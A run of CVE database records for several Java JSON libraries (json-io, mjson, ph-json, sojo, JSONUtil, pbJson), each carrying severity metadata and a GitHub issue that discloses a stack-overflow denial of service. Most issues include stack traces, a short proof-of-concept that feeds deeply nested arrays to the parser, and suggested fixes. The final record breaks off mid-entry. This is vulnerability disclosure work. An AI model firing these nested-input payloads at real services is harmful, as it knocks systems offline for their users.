"versionEndIncluding": "4.14.0",
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | [
"787"
] | 787 | https://github.com/jdereg/json-io/issues/169 | [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] | github.com | [
"jdereg",
"json-io"
] | # Stack overflow error caused by json-io parsing of untrusted JSON String
## Description
Using json-io to parse untrusted JSON String may be vulnerable to denial of service (DOS) attacks. If the parser is running on user supplied input, an attacker may supply content that causes the parser to crash by stackoverflow.
## Error Log
```
Exception in thread "main" java.lang.StackOverflowError
at com.cedarsoftware.util.io.JsonParser.readValue(JsonParser.java:241)
at com.cedarsoftware.util.io.JsonParser.readArray(JsonParser.java:288)
at com.cedarsoftware.util.io.JsonParser.readValue(JsonParser.java:256)
at com.cedarsoftware.util.io.JsonParser.readArray(JsonParser.java:288)
at com.cedarsoftware.util.io.JsonParser.readValue(JsonParser.java:256)
at com.cedarsoftware.util.io.JsonParser.readArray(JsonParser.java:288)
at com.cedarsoftware.util.io.JsonParser.readValue(JsonParser.java:256)
at com.cedarsoftware.util.io.JsonParser.readArray(JsonParser.java:288)
at com.cedarsoftware.util.io.JsonParser.readValue(JsonParser.java:256)
at com.cedarsoftware.util.io.JsonParser.readArray(JsonParser.java:288)
at com.cedarsoftware.util.io.JsonParser.readValue(JsonParser.java:256)
at com.cedarsoftware.util.io.JsonParser.readArray(JsonParser.java:288)
at com.cedarsoftware.util.io.JsonParser.readValue(JsonParser.java:256)
at com.cedarsoftware.util.io.JsonParser.readArray(JsonParser.java:288)
at com.cedarsoftware.util.io.JsonParser.readValue(JsonParser.java:256)
```
## PoC
```xml
<dependency>
<groupId>com.cedarsoftware</groupId>
<artifactId>json-io</artifactId>
<version>4.14.0</version>
</dependency>
```
```java
import com.cedarsoftware.util.io.JsonReader;
public class PoC {
public final static int TOO_DEEP_NESTING = 9999;
public final static String TOO_DEEP_DOC = _nestedDoc(TOO_DEEP_NESTING, "[ ", "] ", "0");
public static String _nestedDoc(int nesting, String open, String close, String content) {
StringBuilder sb = new StringBuilder(nesting * (open.length() + close.length()));
for (int i = 0; i < nesting; ++i) {
sb.append(open);
if ((i & 31) == 0) {
sb.append("\n");
}
}
sb.append("\n").append(content).append("\n");
for (int i = 0; i < nesting; ++i) {
sb.append(close);
if ((i & 31) == 0) {
sb.append("\n");
}
}
return sb.toString();
}
public static void main(String[] args) {
String jsonString = TOO_DEEP_DOC;
JsonReader.jsonToJava(jsonString);
}
}
```
## Rectification Solution
1. Refer to the solution of jackson-databind: Add the depth variable to record the current parsing depth. If the parsing depth exceeds a certain threshold, an exception is thrown. (https://github.com/FasterXML/jackson-databind/commit/fcfc4998ec23f0b1f7f8a9521c2b317b6c25892b)
2. Refer to the GSON solution: Change the recursive processing on deeply nested arrays or JSON objects to stack+iteration processing.((https://github.com/google/gson/commit/2d01d6a20f39881c692977564c1ea591d9f39027)) | Stack overflow error caused by json-io parsing of untrusted JSON String | https://api.github.com/repos/jdereg/json-io/issues/169/comments | 1 | 2023-05-24T08:39:41Z | 2023-08-23T14:03:27Z | https://github.com/jdereg/json-io/issues/169 | 1,723,471,306 | 169 | 5,252 |
CVE-2023-34611 | 2023-06-14T14:15:09.960 | An issue was discovered mjson thru 1.4.1 allows attackers to cause a denial of service or other unspecified impacts via crafted object that uses cyclic dependencies. | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 3.6,
"source": "nvd@nist.gov",
"type": "Primary"
},
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 3.6,
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"type": "Secondary"
}
],
"cvssMetricV40": null
} | [
{
"source": "cve@mitre.org",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/bolerio/mjson/issues/40"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/bolerio/mjson/issues/40"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:mjson_project:mjson:*:*:*:*:*:*:*:*",
"matchCriteriaId": "AA289745-73AE-438C-AE3F-8E9E6159ABD3",
"versionEndExcluding": null,
"versionEndIncluding": "1.4.1",
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | [
"787"
] | 787 | https://github.com/bolerio/mjson/issues/40 | [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] | github.com | [
"bolerio",
"mjson"
] | # Stack overflow error caused by mjson parsing of untrusted JSON String
## Description
Using mjson to parse untrusted JSON String may be vulnerable to denial of service (DOS) attacks. If the parser is running on user supplied input, an attacker may supply content that causes the parser to crash by stackoverflow.
## Error Log
```
Exception in thread "main" java.lang.StackOverflowError
at java.base/java.lang.ThreadLocal.get(ThreadLocal.java:165)
at mjson.Json.factory(Json.java:1192)
at mjson.Json.array(Json.java:1291)
at mjson.Json$Reader.readArray(Json.java:2787)
at mjson.Json$Reader.read(Json.java:2715)
at mjson.Json$Reader.readArray(Json.java:2788)
at mjson.Json$Reader.read(Json.java:2715)
at mjson.Json$Reader.readArray(Json.java:2788)
at mjson.Json$Reader.read(Json.java:2715)
at mjson.Json$Reader.readArray(Json.java:2788)
at mjson.Json$Reader.read(Json.java:2715)
at mjson.Json$Reader.readArray(Json.java:2788)
at mjson.Json$Reader.read(Json.java:2715)
at mjson.Json$Reader.readArray(Json.java:2788)
at mjson.Json$Reader.read(Json.java:2715)
at mjson.Json$Reader.readArray(Json.java:2788)
at mjson.Json$Reader.read(Json.java:2715)
at mjson.Json$Reader.readArray(Json.java:2788)
at mjson.Json$Reader.read(Json.java:2715)
at mjson.Json$Reader.readArray(Json.java:2788)
at mjson.Json$Reader.read(Json.java:2715)
at mjson.Json$Reader.readArray(Json.java:2788)
at mjson.Json$Reader.read(Json.java:2715)
at mjson.Json$Reader.readArray(Json.java:2788)
```
## PoC
```xml
<dependency>
<groupId>org.sharegov</groupId>
<artifactId>mjson</artifactId>
<version>1.4.1</version>
</dependency>
```
```java
import mjson.Json;
public class PoC {
public final static int TOO_DEEP_NESTING = 9999;
public final static String TOO_DEEP_DOC = _nestedDoc(TOO_DEEP_NESTING, "[ ", "] ", "0");
public static String _nestedDoc(int nesting, String open, String close, String content) {
StringBuilder sb = new StringBuilder(nesting * (open.length() + close.length()));
for (int i = 0; i < nesting; ++i) {
sb.append(open);
if ((i & 31) == 0) {
sb.append("\n");
}
}
sb.append("\n").append(content).append("\n");
for (int i = 0; i < nesting; ++i) {
sb.append(close);
if ((i & 31) == 0) {
sb.append("\n");
}
}
return sb.toString();
}
public static void main(String[] args) {
String jsonString = TOO_DEEP_DOC;
Json.read(jsonString);
}
}
```
## Rectification Solution
1. Refer to the solution of jackson-databind: Add the depth variable to record the current parsing depth. If the parsing depth exceeds a certain threshold, an exception is thrown. (https://github.com/FasterXML/jackson-databind/commit/fcfc4998ec23f0b1f7f8a9521c2b317b6c25892b)
2. Refer to the GSON solution: Change the recursive processing on deeply nested arrays or JSON objects to stack+iteration processing.((https://github.com/google/gson/commit/2d01d6a20f39881c692977564c1ea591d9f39027)) | Stack overflow error caused by mjson parsing of untrusted JSON String | https://api.github.com/repos/bolerio/mjson/issues/40/comments | 2 | 2023-05-25T06:39:13Z | 2024-10-18T14:51:23Z | https://github.com/bolerio/mjson/issues/40 | 1,725,183,229 | 40 | 5,253 |
CVE-2023-34612 | 2023-06-14T14:15:10.007 | An issue was discovered ph-json thru 9.5.5 allows attackers to cause a denial of service or other unspecified impacts via crafted object that uses cyclic dependencies. | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 3.6,
"source": "nvd@nist.gov",
"type": "Primary"
},
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 3.6,
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"type": "Secondary"
}
],
"cvssMetricV40": null
} | [
{
"source": "cve@mitre.org",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/phax/ph-commons/issues/35"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/phax/ph-commons/issues/35"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:ph-json_project:ph-json:*:*:*:*:*:*:*:*",
"matchCriteriaId": "25409CC2-3971-4AD0-B0A3-F5839A9A2E9F",
"versionEndExcluding": null,
"versionEndIncluding": "9.5.5",
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | [
"787"
] | 787 | https://github.com/phax/ph-commons/issues/35 | [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] | github.com | [
"phax",
"ph-commons"
] | # Stack overflow error caused by ph-json parsing of untrusted JSON String
## Description
Using ph-json to parse untrusted JSON String may be vulnerable to denial of service (DOS) attacks. If the parser is running on user supplied input, an attacker may supply content that causes the parser to crash by stackoverflow.
## Error Log
```
Exception in thread "main" java.lang.StackOverflowError
at java.base/java.util.ArrayList.get(ArrayList.java:459)
at com.helger.commons.collection.impl.ICommonsList.getLast(ICommonsList.java:201)
at com.helger.commons.collection.impl.ICommonsList.getLast(ICommonsList.java:186)
at com.helger.commons.collection.NonBlockingStack.peek(NonBlockingStack.java:112)
at com.helger.json.parser.handler.CollectingJsonParserHandler._addToStackPeek(CollectingJsonParserHandler.java:51)
at com.helger.json.parser.handler.CollectingJsonParserHandler._addSimple(CollectingJsonParserHandler.java:71)
at com.helger.json.parser.handler.CollectingJsonParserHandler._addCollection(CollectingJsonParserHandler.java:76)
at com.helger.json.parser.handler.CollectingJsonParserHandler.onArrayStart(CollectingJsonParserHandler.java:115)
at com.helger.json.parser.JsonParser._readArray(JsonParser.java:804)
at com.helger.json.parser.JsonParser._readValue(JsonParser.java:959)
at com.helger.json.parser.JsonParser._readArray(JsonParser.java:820)
at com.helger.json.parser.JsonParser._readValue(JsonParser.java:959)
at com.helger.json.parser.JsonParser._readArray(JsonParser.java:820)
at com.helger.json.parser.JsonParser._readValue(JsonParser.java:959)
at com.helger.json.parser.JsonParser._readArray(JsonParser.java:820)
at com.helger.json.parser.JsonParser._readValue(JsonParser.java:959)
at com.helger.json.parser.JsonParser._readArray(JsonParser.java:820)
at com.helger.json.parser.JsonParser._readValue(JsonParser.java:959)
at com.helger.json.parser.JsonParser._readArray(JsonParser.java:820)
at com.helger.json.parser.JsonParser._readValue(JsonParser.java:959)
at com.helger.json.parser.JsonParser._readArray(JsonParser.java:820)
at com.helger.json.parser.JsonParser._readValue(JsonParser.java:959)
at com.helger.json.parser.JsonParser._readArray(JsonParser.java:820)
at com.helger.json.parser.JsonParser._readValue(JsonParser.java:959)
at com.helger.json.parser.JsonParser._readArray(JsonParser.java:820)
at com.helger.json.parser.JsonParser._readValue(JsonParser.java:959)
at com.helger.json.parser.JsonParser._readArray(JsonParser.java:820)
at com.helger.json.parser.JsonParser._readValue(JsonParser.java:959)
at com.helger.json.parser.JsonParser._readArray(JsonParser.java:820)
at com.helger.json.parser.JsonParser._readValue(JsonParser.java:959)
at com.helger.json.parser.JsonParser._readArray(JsonParser.java:820)
at com.helger.json.parser.JsonParser._readValue(JsonParser.java:959)
at com.helger.json.parser.JsonParser._readArray(JsonParser.java:820)
at com.helger.json.parser.JsonParser._readValue(JsonParser.java:959)
at com.helger.json.parser.JsonParser._readArray(JsonParser.java:820)
at com.helger.json.parser.JsonParser._readValue(JsonParser.java:959)
```
## PoC
```xml
<dependency>
<groupId>com.helger</groupId>
<artifactId>ph-json</artifactId>
<version>9.5.5</version>
</dependency>
```
```java
import com.helger.json.serialize.JsonReader;
public class PoC {
public final static int TOO_DEEP_NESTING = 9999;
public final static String TOO_DEEP_DOC = _nestedDoc(TOO_DEEP_NESTING, "[ ", "] ", "0");
public static String _nestedDoc(int nesting, String open, String close, String content) {
StringBuilder sb = new StringBuilder(nesting * (open.length() + close.length()));
for (int i = 0; i < nesting; ++i) {
sb.append(open);
if ((i & 31) == 0) {
sb.append("\n");
}
}
sb.append("\n").append(content).append("\n");
for (int i = 0; i < nesting; ++i) {
sb.append(close);
if ((i & 31) == 0) {
sb.append("\n");
}
}
return sb.toString();
}
public static void main(String[] args) {
String jsonString = TOO_DEEP_DOC;
JsonReader.readFromString(jsonString);
}
}
```
## Rectification Solution
1. Refer to the solution of jackson-databind: Add the depth variable to record the current parsing depth. If the parsing depth exceeds a certain threshold, an exception is thrown. (https://github.com/FasterXML/jackson-databind/commit/fcfc4998ec23f0b1f7f8a9521c2b317b6c25892b)
2. Refer to the GSON solution: Change the recursive processing on deeply nested arrays or JSON objects to stack+iteration processing.((https://github.com/google/gson/commit/2d01d6a20f39881c692977564c1ea591d9f39027)) | Stack overflow error caused by ph-json parsing of untrusted JSON String | https://api.github.com/repos/phax/ph-commons/issues/35/comments | 1 | 2023-05-25T06:56:09Z | 2023-06-18T16:59:19Z | https://github.com/phax/ph-commons/issues/35 | 1,725,204,219 | 35 | 5,254 |
CVE-2023-34613 | 2023-06-14T14:15:10.050 | An issue was discovered sojo thru 1.1.1 allows attackers to cause a denial of service or other unspecified impacts via crafted object that uses cyclic dependencies. | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 3.6,
"source": "nvd@nist.gov",
"type": "Primary"
},
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 3.6,
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"type": "Secondary"
}
],
"cvssMetricV40": null
} | [
{
"source": "cve@mitre.org",
"tags": [
"Exploit",
"Third Party Advisory"
],
"url": "https://github.com/maddingo/sojo/issues/15"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Exploit",
"Third Party Advisory"
],
"url": "https://github.com/maddingo/sojo/issues/15"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:sojo_project:sojo:*:*:*:*:*:*:*:*",
"matchCriteriaId": "5FFA3DAE-DCCF-4E81-A7F5-AD23CDC33A60",
"versionEndExcluding": null,
"versionEndIncluding": "1.1.1",
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | [
"787"
] | 787 | https://github.com/maddingo/sojo/issues/15 | [
"Exploit",
"Third Party Advisory"
] | github.com | [
"maddingo",
"sojo"
] | # Stack overflow error caused by sojo parsing of untrusted JSON String
## Description
Using sojo to parse untrusted JSON String may be vulnerable to denial of service (DOS) attacks. If the parser is running on user supplied input, an attacker may supply content that causes the parser to crash by stackoverflow.
## Error Log
```
Exception in thread "main" java.lang.StackOverflowError
at net.sf.sojo.interchange.json.generate.JsonParserGenerate.jj_scan_token(JsonParserGenerate.java:503)
at net.sf.sojo.interchange.json.generate.JsonParserGenerate.jj_3R_4(JsonParserGenerate.java:344)
at net.sf.sojo.interchange.json.generate.JsonParserGenerate.jj_3_3(JsonParserGenerate.java:374)
at net.sf.sojo.interchange.json.generate.JsonParserGenerate.jj_3R_3(JsonParserGenerate.java:351)
at net.sf.sojo.interchange.json.generate.JsonParserGenerate.jj_3_13(JsonParserGenerate.java:295)
at net.sf.sojo.interchange.json.generate.JsonParserGenerate.jj_3R_6(JsonParserGenerate.java:313)
at net.sf.sojo.interchange.json.generate.JsonParserGenerate.jj_3_6(JsonParserGenerate.java:258)
at net.sf.sojo.interchange.json.generate.JsonParserGenerate.jj_3R_3(JsonParserGenerate.java:357)
at net.sf.sojo.interchange.json.generate.JsonParserGenerate.jj_3_13(JsonParserGenerate.java:295)
at net.sf.sojo.interchange.json.generate.JsonParserGenerate.jj_2_13(JsonParserGenerate.java:252)
at net.sf.sojo.interchange.json.generate.JsonParserGenerate.array(JsonParserGenerate.java:144)
at net.sf.sojo.interchange.json.generate.JsonParserGenerate.value(JsonParserGenerate.java:78)
at net.sf.sojo.interchange.json.generate.JsonParserGenerate.array(JsonParserGenerate.java:145)
at net.sf.sojo.interchange.json.generate.JsonParserGenerate.value(JsonParserGenerate.java:78)
at net.sf.sojo.interchange.json.generate.JsonParserGenerate.array(JsonParserGenerate.java:145)
at net.sf.sojo.interchange.json.generate.JsonParserGenerate.value(JsonParserGenerate.java:78)
at net.sf.sojo.interchange.json.generate.JsonParserGenerate.array(JsonParserGenerate.java:145)
```
## PoC
```xml
<dependency>
<groupId>net.sf.sojo</groupId>
<artifactId>sojo</artifactId>
<version>1.1.1</version>
</dependency>
```
```java
import net.sf.sojo.interchange.json.JsonParser;
public class PoC {
public final static int TOO_DEEP_NESTING = 9999;
public final static String TOO_DEEP_DOC = _nestedDoc(TOO_DEEP_NESTING, "[ ", "] ", "0");
public static String _nestedDoc(int nesting, String open, String close, String content) {
StringBuilder sb = new StringBuilder(nesting * (open.length() + close.length()));
for (int i = 0; i < nesting; ++i) {
sb.append(open);
if ((i & 31) == 0) {
sb.append("\n");
}
}
sb.append("\n").append(content).append("\n");
for (int i = 0; i < nesting; ++i) {
sb.append(close);
if ((i & 31) == 0) {
sb.append("\n");
}
}
return sb.toString();
}
public static void main(String[] args) {
String jsonString = TOO_DEEP_DOC;
JsonParser parser = new JsonParser();
parser.parse(jsonString);
}
}
```
## Rectification Solution
1. Refer to the solution of jackson-databind: Add the depth variable to record the current parsing depth. If the parsing depth exceeds a certain threshold, an exception is thrown. (https://github.com/FasterXML/jackson-databind/commit/fcfc4998ec23f0b1f7f8a9521c2b317b6c25892b)
2. Refer to the GSON solution: Change the recursive processing on deeply nested arrays or JSON objects to stack+iteration processing.((https://github.com/google/gson/commit/2d01d6a20f39881c692977564c1ea591d9f39027)) | Stack overflow error caused by sojo parsing of untrusted JSON String | https://api.github.com/repos/maddingo/sojo/issues/15/comments | 0 | 2023-05-24T09:36:40Z | 2023-05-24T09:36:40Z | https://github.com/maddingo/sojo/issues/15 | 1,723,574,892 | 15 | 5,255 |
CVE-2023-34615 | 2023-06-14T14:15:10.143 | An issue was discovered JSONUtil thru 5.0 allows attackers to cause a denial of service or other unspecified impacts via crafted object that uses cyclic dependencies. | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 3.6,
"source": "nvd@nist.gov",
"type": "Primary"
},
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 3.6,
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"type": "Secondary"
}
],
"cvssMetricV40": null
} | [
{
"source": "cve@mitre.org",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/billdavidson/JSONUtil/issues/10"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/billdavidson/JSONUtil/issues/10"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:pwall:jsonutil:*:*:*:*:*:*:*:*",
"matchCriteriaId": "0E51C734-23A5-497C-AFA1-B9152C422061",
"versionEndExcluding": null,
"versionEndIncluding": "5.0",
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | [
"787"
] | 787 | https://github.com/billdavidson/JSONUtil/issues/10 | [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] | github.com | [
"billdavidson",
"JSONUtil"
] | # Stack overflow error caused by jsonutil parsing of untrusted JSON String
## Description
Using jsonutil to parse untrusted JSON String may be vulnerable to denial of service (DOS) attacks. If the parser is running on user supplied input, an attacker may supply content that causes the parser to crash by stackoverflow.
## Error Log
```
Exception in thread "main" java.lang.StackOverflowError
at net.pwall.util.ParseText.skipSpaces(ParseText.java:1072)
at net.pwall.json.JSON.parse(JSON.java:535)
at net.pwall.json.JSON.parse(JSON.java:567)
at net.pwall.json.JSON.parse(JSON.java:567)
at net.pwall.json.JSON.parse(JSON.java:567)
at net.pwall.json.JSON.parse(JSON.java:567)
at net.pwall.json.JSON.parse(JSON.java:567)
at net.pwall.json.JSON.parse(JSON.java:567)
at net.pwall.json.JSON.parse(JSON.java:567)
at net.pwall.json.JSON.parse(JSON.java:567)
at net.pwall.json.JSON.parse(JSON.java:567)
at net.pwall.json.JSON.parse(JSON.java:567)
at net.pwall.json.JSON.parse(JSON.java:567)
at net.pwall.json.JSON.parse(JSON.java:567)
at net.pwall.json.JSON.parse(JSON.java:567)
at net.pwall.json.JSON.parse(JSON.java:567)
at net.pwall.json.JSON.parse(JSON.java:567)
at net.pwall.json.JSON.parse(JSON.java:567)
at net.pwall.json.JSON.parse(JSON.java:567)
at net.pwall.json.JSON.parse(JSON.java:567)
at net.pwall.json.JSON.parse(JSON.java:567)
at net.pwall.json.JSON.parse(JSON.java:567)
at net.pwall.json.JSON.parse(JSON.java:567)
at net.pwall.json.JSON.parse(JSON.java:567)
at net.pwall.json.JSON.parse(JSON.java:567)
```
## PoC
```xml
<dependency>
<groupId>net.pwall.json</groupId>
<artifactId>jsonutil</artifactId>
<version>5.0</version>
</dependency>
```
```java
import net.pwall.json.JSON;
public class PoC {
public final static int TOO_DEEP_NESTING = 9999;
public final static String TOO_DEEP_DOC = _nestedDoc(TOO_DEEP_NESTING, "[ ", "] ", "0");
public static String _nestedDoc(int nesting, String open, String close, String content) {
StringBuilder sb = new StringBuilder(nesting * (open.length() + close.length()));
for (int i = 0; i < nesting; ++i) {
sb.append(open);
if ((i & 31) == 0) {
sb.append("\n");
}
}
sb.append("\n").append(content).append("\n");
for (int i = 0; i < nesting; ++i) {
sb.append(close);
if ((i & 31) == 0) {
sb.append("\n");
}
}
return sb.toString();
}
public static void main(String[] args) {
String jsonString = TOO_DEEP_DOC;
JSON.parse(jsonString);
}
}
```
## Rectification Solution
1. Refer to the solution of jackson-databind: Add the depth variable to record the current parsing depth. If the parsing depth exceeds a certain threshold, an exception is thrown. (https://github.com/FasterXML/jackson-databind/commit/fcfc4998ec23f0b1f7f8a9521c2b317b6c25892b)
2. Refer to the GSON solution: Change the recursive processing on deeply nested arrays or JSON objects to stack+iteration processing.((https://github.com/google/gson/commit/2d01d6a20f39881c692977564c1ea591d9f39027)) | Stack overflow error caused by jsonutil parsing of untrusted JSON String | https://api.github.com/repos/billdavidson/JSONUtil/issues/10/comments | 1 | 2023-05-24T09:22:56Z | 2023-06-28T11:32:25Z | https://github.com/billdavidson/JSONUtil/issues/10 | 1,723,546,733 | 10 | 5,256 |
CVE-2023-34616 | 2023-06-14T14:15:10.190 | An issue was discovered pbjson thru 0.4.0 allows attackers to cause a denial of service or other unspecified impacts via crafted object that uses cyclic dependencies. | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 3.6,
"source": "nvd@nist.gov",
"type": "Primary"
},
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 3.6,
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"type": "Secondary"
}
],
"cvssMetricV40": null
} | [
{
"source": "cve@mitre.org",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/InductiveComputerScience/pbJson/issues/2"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/InductiveComputerScience/pbJson/issues/2"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:pbjson_project:pbjson:*:*:*:*:*:*:*:*",
"matchCriteriaId": "0A61C7FF-6846-4E0D-9F94-A9D1ECF054D2",
"versionEndExcluding": null,
"versionEndIncluding": "0.4.0",
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | [
"787"
] | 787 | https://github.com/InductiveComputerScience/pbJson/issues/2 | [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] | github.com | [
"InductiveComputerScience",
"pbJson"
] | # Stack overflow error caused by progsbase parsing of untrusted JSON String
## Description
Using progsbase to parse untrusted JSON String may be vulnerable to denial of service (DOS) attacks. If the parser is running on user supplied input, an attacker may supply content that causes the parser to crash by stackoverflow.
## Error Log
```
Exception in thread "main" java.lang.StackOverflowError
at JSON.LinkedListElements.Structures.LinkedListNodeElements.<init>(LinkedListNodeElements.java:5)
at JSON.LinkedListElements.LinkedListElementsFunctions.LinkedListElementsFunctions.CreateLinkedListElements(LinkedListElementsFunctions.java:12)
at JSON.parser.parser.GetJSONArray(parser.java:190)
at JSON.parser.parser.GetJSONValueRecursive(parser.java:61)
at JSON.parser.parser.GetJSONArray(parser.java:202)
at JSON.parser.parser.GetJSONValueRecursive(parser.java:61)
at JSON.parser.parser.GetJSONArray(parser.java:202)
at JSON.parser.parser.GetJSONValueRecursive(parser.java:61)
at JSON.parser.parser.GetJSONArray(parser.java:202)
at JSON.parser.parser.GetJSONValueRecursive(parser.java:61)
at JSON.parser.parser.GetJSONArray(parser.java:202)
at JSON.parser.parser.GetJSONValueRecursive(parser.java:61)
```
## PoC
```xml
